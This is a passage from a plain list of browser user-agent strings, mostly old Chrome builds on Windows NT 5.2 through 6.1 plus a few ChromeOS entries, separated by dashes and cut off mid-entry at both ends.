(Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.558.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; eu) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.31 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.42 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.46 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.160.0 Safari/530.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.162.0 Safari/530.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.171.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.23 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.0 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.220.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.0 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.224.2 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.241.0 Safari/532.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.5 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.127 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.8 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0 (x86_64); de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/526.3 (KHTML, like Gecko) Chrome/14.0.564.21 Safari/526.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.9 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.223.5 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.246.0 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.1.249.1025 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.1 Safari/532.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/6.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.370.0 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.999 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.9 (KHTML, like Gecko) Chrome/6.0.400.0 Safari/533.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.596.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.19 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.638.0 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.654.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.669.0 Safari/534.20 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.459.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.498.0 Safari/534.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it-IT) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.25 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; AppleWebKit/534.16; KHTML; like Gecko; Chrome/10.0.648.11;Safari/534.16) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (X11; CrOS i686 0.13.507) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/13.0.763.0 Safari/534.35 -Mozilla/5.0 (X11; CrOS i686 0.13.587) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.14 Safari/535.1 -Mozilla/5.0 (X11; CrOS i686 1193.158.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7 -Mozilla/5.0 (X11; CrOS i686 12.0.742.91) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.93 Safari/534.30 -Mozilla/5.0 (X11; CrOS i686 12.433.109) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.93 Safari/534.30 -Mozilla/5.0 (X11; CrOS i686 12.433.216) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.105 Safari/534.30 -Mozilla/5.0 (X11; CrOS i686 13.587.48) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.43 Safari/535.1 -Mozilla/5.0 (X11; CrOS i686 1660.57.0) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.46 Safari/535.19 -Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 -Mozilla/5.0 (X11; CrOS i686 